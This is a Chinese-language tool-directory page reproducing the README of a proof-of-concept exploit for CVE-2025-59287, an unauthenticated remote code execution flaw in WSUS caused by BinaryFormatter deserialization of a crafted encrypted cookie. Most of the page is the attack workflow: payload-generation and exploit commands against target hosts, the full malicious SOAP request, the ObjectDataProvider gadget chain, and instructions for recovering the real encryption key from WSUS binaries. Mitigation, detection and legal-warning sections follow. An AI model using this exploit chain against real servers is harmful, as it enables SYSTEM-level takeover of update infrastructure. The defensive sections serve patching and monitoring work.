Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2025-59287-exploit-poc — CVE-2025-59287 的概念验证漏洞利用程序,该漏洞是 WSUS 中通过不安全的 BinaryFormatter 反序列化导致的严重未认证远程代码执行漏洞,可利用特制的加密 Cookie 获取 SYSTEM 权限。 | Kitploit
工具/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

CVE-2025-59287 的概念验证漏洞利用程序,该漏洞是 WSUS 中通过不安全的 BinaryFormatter 反序列化导致的严重未认证远程代码执行漏洞,可利用特制的加密 Cookie 获取 SYSTEM 权限。

查看仓库
19个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-59287 概念验证漏洞利用

漏洞概述

CVE-2025-59287 是 Microsoft Windows Server Update Services (WSUS) 中的一个严重远程代码执行 (RCE) 漏洞。该漏洞是由于 EncryptionHelper.DecryptData() 方法中通过 BinaryFormatter 对 AuthorizationCookie 数据进行不安全反序列化所致。

影响:未认证攻击者可通过向 GetCookie() 端点发送恶意加密 Cookie,以 SYSTEM 权限 实现远程代码执行。

CVSS 评分:严重(9.8)

漏洞详情

  • 受影响组件:WSUS ClientWebService.asmx GetCookie() 端点
  • 根本原因:对不受信任的输入调用 BinaryFormatter.Deserialize(),且未进行适当验证
  • 攻击向量:向 GetCookie() SOAP 端点发送恶意加密 Cookie
  • 所需认证:否(未认证 RCE)
  • 受影响端口:8530(HTTP)、8531(HTTPS)

架构

root@kitploit:~
┌─────────────────┐
│   攻击者        │
│                 │
│  1. 生成        │
│     BinaryFmt   │
│     载荷        │
│                 │
│  2. 加密        │
│     载荷        │
│                 │
│  3. 发送 SOAP   │
│     请求        │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   WSUS 服务器   │
│                 │
│  GetCookie()    │
│  端点           │
│                 │
│  DecryptData()  │◄─── 存在漏洞
│                 │
│  BinaryFormatter│◄─── 不安全反序列化
│  Deserialize()  │
│                 │
│  执行           │◄─── 以 SYSTEM 权限 RCE
│  载荷           │
└─────────────────┘

文件结构

root@kitploit:~
exploit-poc/
├── wsus_exploit.py                    # 主漏洞利用脚本
├── BinaryFormatterPayloadGenerator.cs # .NET 载荷生成器(C#)
├── encrypt_payload.py                 # WSUS 加密辅助工具
├── requirements.txt                   # Python 依赖
└── README.md                          # 本文件

前提条件

Python 环境

root@kitploit:~
pip install -r requirements.txt

.NET Framework(用于载荷生成)

  • 安装了 .NET Framework 4.0 或更高版本的 Windows
  • 或使用 ysoserial.net 作为替代方案

使用方法

方法 1:完整工作流程

步骤 1:生成 BinaryFormatter 载荷

选项 A:使用提供的 C# 生成器

root@kitploit:~
# 编译生成器
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs

# 生成载荷
BinaryFormatterPayloadGenerator.exe calc.exe
# 创建:payload_YYYYMMDDHHMMSS.bin

选项 B:使用 ysoserial.net(推荐)

root@kitploit:~
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin

步骤 2:加密载荷

root@kitploit:~
python encrypt_payload.py payload.bin -o encrypted_cookie.txt

重要提示:encrypt_payload.py 中的加密密钥是占位符。对于真实漏洞利用,您必须:

  1. 从 WSUS 二进制文件中逆向工程出实际加密密钥
  2. 使用真实密钥更新 encrypt_payload.py
  3. 参见下方“查找 WSUS 加密密钥”部分

步骤 3:执行漏洞利用

root@kitploit:~
# 使用载荷文件(将即时加密)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin

# 使用预加密 Cookie
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"

# 使用 HTTPS(端口 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

方法 2:快速测试

root@kitploit:~
# 一步完成生成、加密和漏洞利用
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin

查找实际 WSUS 加密密钥

对于真实漏洞利用,必须从 WSUS 二进制文件中提取加密密钥。

方法 1:使用 dnSpy 进行逆向工程

  1. 定位 WSUS DLL:

    root@kitploit:~
    %ProgramFiles%\Update Services\WebServices\bin\
    

    或 IIS Web 目录:

    root@kitploit:~
    %SystemDrive%\inetpub\wwwroot\wsusadmin\
    
  2. 在 dnSpy 中打开(免费的 .NET 反编译器):

    • 下载:https://github.com/dnSpy/dnSpy
    • 打开 Microsoft.UpdateServices.WebServices.dll
  3. 搜索 EncryptionHelper:

    • 导航至:Microsoft.UpdateServices.WebServices 命名空间
    • 找到 EncryptionHelper 类
    • 查看 DecryptData() 和 EncryptData() 方法
    • 提取加密密钥和算法
  4. 常见模式:

    • 硬编码字节数组
    • 字符串常量
    • 从机器 GUID/SID 派生密钥

方法 2:运行时分析

  1. 使用 WinDbg 或 x64dbg:

    • 在 EncryptionHelper.DecryptData() 上设置断点
    • 检查内存/寄存器中的密钥材料
    • 监控加密/解密操作
  2. 使用 Process Monitor:

    • 按 WSUS 进程过滤
    • 查找注册表/配置文件访问
    • 密钥可能存储在注册表中

方法 3:静态分析

  1. 使用 IDA Pro 或 Ghidra:

    • 加载 WSUS 二进制文件
    • 搜索与加密相关的字符串
    • 分析密钥派生算法
  2. 使用 strings 工具:

    root@kitploit:~
    strings Microsoft.UpdateServices.WebServices.dll | grep -i key
    strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
    

更新漏洞利用

获得实际密钥后,更新 encrypt_payload.py:

root@kitploit:~
# 替换 encrypt_wsus_cookie() 中的这一行:
key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # 占位符

# 替换为实际密钥:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"

或通过命令行传递:

root@kitploit:~
python encrypt_payload.py payload.bin -k "ACTUAL_KEY"

漏洞利用流程

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│ 1. 生成 BinaryFormatter 载荷                                 │
│    ObjectDataProvider → Process.Start() → 命令执行          │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. 加密载荷                                                  │
│    使用 WSUS 加密密钥进行 AES-128-CBC 加密                   │
│    Base64 编码用于传输                                       │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. 创建 SOAP 请求                                            │
│    AuthorizationCookie 头包含加密载荷                        │
│    SOAP 正文中的 GetCookie() 方法                            │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 4. 发送至 WSUS 端点                                          │
│    POST /ClientWebService/ClientWebService.asmx              │
│    端口 8530(HTTP)或 8531(HTTPS)                         │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS 处理                                                 │
│    DecryptData() 解密 Cookie                                 │
│    BinaryFormatter.Deserialize() 执行载荷                    │
│    → 以 SYSTEM 权限 RCE                                      │
└─────────────────────────────────────────────────────────────┘

SOAP 请求结构

root@kitploit:~
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
        <AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
        </AuthorizationCookie>
    </soap:Header>
    <soap:Body>
        <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            <cookieType>AuthorizationCookie</cookieType>
        </GetCookie>
    </soap:Body>
</soap:Envelope>

载荷生成详情

该漏洞利用使用 ObjectDataProvider gadget 链:

root@kitploit:~
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };

当 BinaryFormatter.Deserialize() 处理此内容时,它会自动:

  1. 反序列化 ObjectDataProvider
  2. 在 ObjectInstance(Process)上调用 MethodName("Start")
  3. 传递 MethodParameters(ProcessStartInfo)
  4. 以 SYSTEM 权限执行命令

测试清单

  • 生成 BinaryFormatter 载荷
  • 提取/识别 WSUS 加密密钥
  • 使用正确密钥加密载荷
  • 验证 WSUS 端点可访问
  • 发送包含恶意 Cookie 的 SOAP 请求
  • 验证目标上的命令执行
  • 在隔离的实验室环境中测试

局限性

  1. 加密密钥:占位符密钥在真实系统上无效。必须提取实际密钥。
  2. BinaryFormatter 载荷:需要 .NET Framework 或 ysoserial.net 来生成。
  3. 网络访问:必须能够访问 WSUS 端点(端口 8530/8531)。
  4. WSUS 版本:不同 WSUS 版本的行为可能有所不同。

缓解措施

立即行动

  1. 应用 Microsoft 安全更新:立即修补

    • 查看 Microsoft 安全公告
    • 将 WSUS 更新至已修补版本
  2. 临时变通方案:如果不需要 WSUS,请阻止端口

    root@kitploit:~
    # 阻止 WSUS 端口的入站流量
    New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
    
  3. 网络分段:限制对 WSUS 端点的访问

    • 仅允许来自授权更新服务器的访问
    • 使用防火墙规则限制源 IP

长期修复

  1. 替换 BinaryFormatter:Microsoft 应替换为安全的序列化方式

    • 使用带类型验证的 System.Text.Json 或 System.Xml.Serialization
    • 实施严格的类型白名单
  2. 输入验证:添加全面的验证

    • 在反序列化前验证所有 Cookie 数据
    • 拒绝意外的类型/模式
  3. 最小权限原则:以最小权限运行 WSUS 服务

    • 如有可能,不要以 SYSTEM 身份运行
    • 使用权限受限的服务账户

检测

入侵指标(IoC)

  • 端口 8530/8531 上的异常网络流量
  • 带有 Base64 编码 AuthorizationCookie 头的 SOAP 请求
  • 从 WSUS 服务上下文执行意外进程
  • WSUS 日志中的 BinaryFormatter 反序列化异常

日志分析

检查 WSUS 日志:

root@kitploit:~
%ProgramFiles%\Update Services\LogFiles\

查找:

  • SOAP 请求错误
  • 反序列化异常
  • 未授权访问尝试

网络监控

监控:

  • 发送至 /ClientWebService/ClientWebService.asmx 的 SOAP 请求
  • AuthorizationCookie 头中的大型 Base64 载荷
  • 从 WSUS 服务执行的异常命令

法律声明

⚠️ 警告:此漏洞利用代码仅供授权安全测试使用。

  • ✅ 合法用途:

    • 测试您自己的系统
    • 授权的渗透测试
    • 经许可的安全研究
    • 受控环境中的教育目的
  • ❌ 非法用途:

    • 未经授权访问系统
    • 恶意攻击
    • 违反计算机欺诈法律
    • 未经明确许可的任何使用

未经授权使用此漏洞利用可能导致刑事起诉。请负责任且合乎道德地使用。

参考

  • CVE-2025-59287:官方 CVE 条目
  • Microsoft 安全公告:查看官方补丁和指南
  • BinaryFormatter 安全指南:https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide
  • ysoserial.net:https://github.com/pwntester/ysoserial.net

致谢

  • 漏洞由安全研究人员发现
  • PoC 为教育和授权测试目的而开发

版本历史

  • v1.0:初始 PoC 发布
    • 主漏洞利用脚本
    • .NET 载荷生成器
    • 加密辅助工具
    • 文档

请记住:始终在隔离、受控的环境中测试。切勿针对您不拥有或未经明确许可的系统使用。

下载工具